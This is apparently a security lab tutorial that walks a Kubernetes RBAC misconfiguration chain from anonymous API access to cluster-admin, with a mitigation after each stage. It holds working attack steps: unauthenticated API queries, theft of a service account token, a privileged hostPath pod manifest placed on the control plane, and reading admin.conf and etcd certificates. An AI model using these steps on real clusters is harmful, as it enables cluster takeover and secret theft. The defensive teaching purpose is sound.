Kubernetes RBAC Abuse: From system:anonymous to cluster-admin
A hands-on lab walking the full RBAC misconfiguration chain — unauthenticated API access to cluster-admin — with mitigations at each stage.
Kubernetes RBAC is the cluster's primary authorization system, and when it works it does exactly what you want: a compromised pod stays a compromised pod, not a compromised cluster. When it doesn't, the gap between system:anonymous and cluster-admin can be a handful of kubectl commands. This post walks the entire chain end to end in a local lab — the kind of misconfiguration combo that shows up in real assessments — and notes the fix at each stage so you can stop the chain wherever it's cheapest to stop.
I'll use kind for the lab because it gives us a real kubeadm-style control plane on a laptop. If you prefer k3s, the same techniques work; the file paths differ slightly. The chain has four hops: unauthenticated read access via system:anonymous, lateral movement to a workload service account, exploitation of a too-broad ClusterRole, and finally a privileged pod on a control-plane node that hands us the admin kubeconfig.
Lab setup
Spin up a multi-node cluster so we have something resembling a real topology. The control-plane node is what we ultimately want to land on.
cat <<EOF | kind create cluster --name rbac-lab --config=-
kind: Cluster
apiVersion: kind.x-k8s.io/v1alpha4
nodes:
- role: control-plane
- role: worker
EOF
kubectl cluster-info --context kind-rbac-labA fresh kind cluster is reasonably locked down — the anonymous user has essentially no permissions out of the box. We're going to deliberately introduce the misconfigurations you actually see in the wild, one per stage, so the chain is reproducible. Treat each stage as what the attacker finds rather than what we set up; the mitigations explain why someone shouldn't have done that in the first place.
Stage 1: Anonymous access to the API
Anonymous access to the kube-apiserver is enabled by default. Per the Kubernetes authentication docs, requests that don't carry a valid credential are assigned the username system:anonymous and the group system:unauthenticated. By itself that's not catastrophic — the default bindings only give anonymous users the discovery endpoints and health checks. The danger is when someone has bound a more useful role to either of those identities.
To simulate the misconfiguration, we'll bind the built-in view ClusterRole to system:anonymous. This is a real thing I've seen — usually because someone was debugging a dashboard or a monitoring agent and never reverted the change.
kubectl create clusterrolebinding anon-view \
--clusterrole=view \
--user=system:anonymousNow play the attacker. From a shell with no kubeconfig at all, point at the API server and read whatever you like:
APISERVER=$(kubectl config view --minify -o jsonpath='{.clusters[0].cluster.server}')
# No token, no cert, nothing
curl -k $APISERVER/api/v1/namespaces/kube-system/pods | jq '.items[].metadata.name'
curl -k $APISERVER/api/v1/namespaces/default/serviceaccounts | jq '.items[].metadata.name'Or, more comfortably, use kubectl with --as=system:anonymous from any cluster-admin context to confirm what the anonymous user can do:
kubectl auth can-i --list --as=system:anonymous
kubectl get pods -A --as=system:anonymousThe view role lets us list pods, services, deployments, and — critically — service accounts across every namespace. We can't read Secrets directly with view, but we now have a complete map of the cluster's workloads and the service accounts attached to them. That's all we need to pick a target.
Mitigation for Stage 1
On a self-managed cluster, set --anonymous-auth=false on the kube-apiserver. The flag defaults to true, so its absence from the kube-apiserver manifest means anonymous access is on. On managed platforms (EKS, GKE, AKS) you usually can't toggle the flag, but you can — and should — delete any ClusterRoleBinding that grants rights to system:anonymous or system:unauthenticated. If you need anonymous health checks for load balancers, Kubernetes 1.32+ supports a scoped AuthenticationConfiguration that allows anonymous access only on specific paths like /livez and /readyz. There's almost never a good reason to bind to the anonymous identities — audit anything that does.
kubectl get clusterrolebindings -o json | \
jq '.items[] | select(.subjects[]? | .name=="system:anonymous" or .name=="system:unauthenticated") | .metadata.name'Stage 2: Pivoting to a service account token
The attacker now knows every workload in the cluster. The next move depends on finding a pod they can talk to — typically an exposed application with an RCE, an SSRF, or a debug endpoint reachable from outside. We'll skip the application exploit and assume the attacker has a shell inside a pod in the default namespace.
Create the vulnerable workload:
kubectl create serviceaccount app-sa
kubectl run vuln-app --image=nicolaka/netshoot --serviceaccount=app-sa \
--command -- sleep infinityFrom inside the pod, the service account token is mounted at the standard location. This is the default behavior — unless you explicitly set automountServiceAccountToken: false, every pod gets a token for its service account injected at /var/run/secrets/kubernetes.io/serviceaccount/token.
kubectl exec -it vuln-app -- bash
# Inside the pod:
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
CACERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
API=https://kubernetes.default.svc
curl --cacert $CACERT -H "Authorization: Bearer $TOKEN" $API/api/v1/namespaces/default/podsThis token authenticates as system:serviceaccount:default:app-sa. On a clean cluster it has almost no rights. On a real cluster, this is where things usually go sideways — somebody granted broader permissions to make a CI job work and never scoped them down. We'll bake that exact mistake into Stage 3.
Mitigation for Stage 2
For any workload that doesn't talk to the Kubernetes API — which is the majority — turn off token automounting. Set it on the pod spec, or globally on the service account:
apiVersion: v1
kind: ServiceAccount
metadata:
name: app-sa
namespace: default
automountServiceAccountToken: falseGive each workload its own dedicated service account. The shared default service account is the most common reuse-by-accident path, and a compromised pod inherits whatever the previous engineer bolted onto it.
Stage 3: An over-permissive ClusterRole
Here's the misconfiguration that turns a foothold into a cluster takeover. A platform engineer setting up a custom controller created a ClusterRole with wildcard verbs on pods, then bound the workload's service account to it. The reason is usually "the controller needs to manage pods across namespaces" and the scope never gets tightened.
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: pod-manager
rules:
- apiGroups: [""]
resources: ["pods", "pods/exec"]
verbs: ["*"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: app-sa-pod-manager
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: ClusterRole
name: pod-manager
subjects:
- kind: ServiceAccount
name: app-sa
namespace: defaultApply it with kubectl apply -f overperm.yaml. The attacker, still inside vuln-app, can now create pods in any namespace — including kube-system. As the Kubernetes good-practices doc notes, the ability to create pods in a namespace that runs powerful workloads effectively grants the rights of those workloads — because you can mount their service account tokens, or schedule onto their nodes.
From inside the pod, confirm the new permissions and pick a target:
kubectl --token=$TOKEN --certificate-authority=$CACERT --server=$API \
auth can-i create pods --all-namespaces
# yesMitigation for Stage 3
Wildcards in RBAC rules are almost always a smell. If the controller really needs create, get, list, and delete on pods, write those four verbs out. Scope the binding to a namespace with a Role and RoleBinding instead of ClusterRole and ClusterRoleBinding whenever possible. Beyond wildcards, keep a close eye on the verbs that defeat Kubernetes' own privilege-escalation guardrails: escalate and bind on roles, impersonate on users and service accounts, and create/update on RBAC objects themselves. The bind verb specifically lets a principal bypass the rule that you can't grant permissions you don't already have — it's the explicit "yes, this user is allowed to escalate" switch.
Audit wildcards directly:
kubectl get clusterroles -o json | \
jq '.items[] | select(.rules[]? | (.verbs[]?=="*") or (.resources[]?=="*")) | .metadata.name'Stage 4: A privileged pod on the control plane
This is the final hop. With pods: create in kube-system and no Pod Security admission blocking us, we schedule a pod onto a control-plane node, mount the host filesystem, and read the cluster-admin kubeconfig directly off disk.
The pod manifest does three things: tolerates the control-plane taint so the scheduler will actually place it there, pins the node selector to a control-plane node, and mounts / from the host into the pod.
apiVersion: v1
kind: Pod
metadata:
name: node-pwn
namespace: kube-system
spec:
hostPID: true
hostNetwork: true
containers:
- name: shell
image: alpine
command: ["/bin/sh", "-c", "sleep infinity"]
securityContext:
privileged: true
volumeMounts:
- name: host
mountPath: /host
volumes:
- name: host
hostPath:
path: /
type: Directory
tolerations:
- key: node-role.kubernetes.io/control-plane
operator: Exists
effect: NoSchedule
nodeSelector:
node-role.kubernetes.io/control-plane: ""The attacker submits this from inside the compromised pod using their service account token, then execs into it:
kubectl --token=$TOKEN --certificate-authority=$CACERT --server=$API \
apply -f node-pwn.yaml
kubectl --token=$TOKEN --certificate-authority=$CACERT --server=$API \
-n kube-system exec -it node-pwn -- sh
# Inside the pod, on the control-plane node:
cat /host/etc/kubernetes/admin.confapiVersion: v1
clusters:
- cluster:
certificate-authority-data: LS0tLS1CRUdJTi...
server: https://127.0.0.1:6443
name: kubernetes
users:
- name: kubernetes-admin
user:
client-certificate-data: LS0tLS1CRUdJTi...
client-key-data: LS0tLS1CRUdJTi...partial contents of /etc/kubernetes/admin.conf on a kubeadm control plane
That kubeconfig contains a client certificate signed by the cluster CA with a CN of kubernetes-admin and the Organization field set to system:masters — the group that bypasses all RBAC checks unconditionally. Copy it off the node, point your local kubectl at the API server's external address, and you're cluster-admin. Game over.
While we're here, /host/var/lib/kubelet/pki/ and /host/etc/kubernetes/pki/ are worth a look too — the etcd client certs in particular let you dump every secret in the cluster directly from etcd, bypassing the API server and any audit logging that goes with it.
Mitigation for Stage 4
This is where Pod Security Admission earns its keep. Apply the restricted profile at the namespace level — at minimum on kube-system and anywhere else arbitrary workloads shouldn't land:
apiVersion: v1
kind: Namespace
metadata:
name: kube-system
labels:
pod-security.kubernetes.io/enforce: baseline
pod-security.kubernetes.io/audit: restricted
pod-security.kubernetes.io/warn: restrictedThe baseline profile alone blocks privileged: true, hostPath, hostNetwork, and hostPID — every dangerous knob this pod relied on. If you need more flexibility than PSA gives you (per-image rules, registry restrictions, signed manifests), reach for an admission controller like Kyverno or OPA Gatekeeper. The other half is making sure nobody can create pods in kube-system in the first place; service accounts that manage application workloads almost never need write access there, so constrain them with namespace-scoped Roles.
Detecting the chain
If you only get to do one thing, turn on the API audit log and watch for requests authenticated as system:anonymous that aren't hitting /livez, /readyz, or /healthz. That single signal would have caught Stage 1, and Stage 1 is where this chain starts.
For an offline audit, two open-source tools are worth keeping in your kit: kubectl-who-can for ad-hoc "who can do X in namespace Y" questions, and rbac-police for graphing privilege escalation paths across the whole cluster. Neither is a substitute for writing tight RBAC in the first place, but both are good at surfacing the bindings that accumulated quietly over the last year and a half.
TL;DR
- Anonymous API access is on by default. Strip any RBAC binding that grants rights to
system:anonymousorsystem:unauthenticated, and disable the flag where you can. - Auto-mounted service account tokens turn every pod compromise into an API foothold. Set
automountServiceAccountToken: falseon workloads that don't need it. - Wildcards in RBAC rules are almost always wrong. The verbs
escalate,bind, andimpersonatedeserve specific scrutiny because they bypass Kubernetes' built-in escalation guardrails. - Pod Security Admission with the
baselineprofile blocks the privileged-pod-to-host-filesystem move that ends almost every cluster compromise. - Audit log
system:anonymousrequests outside the health-check paths. It's the cheapest detection you'll deploy this quarter.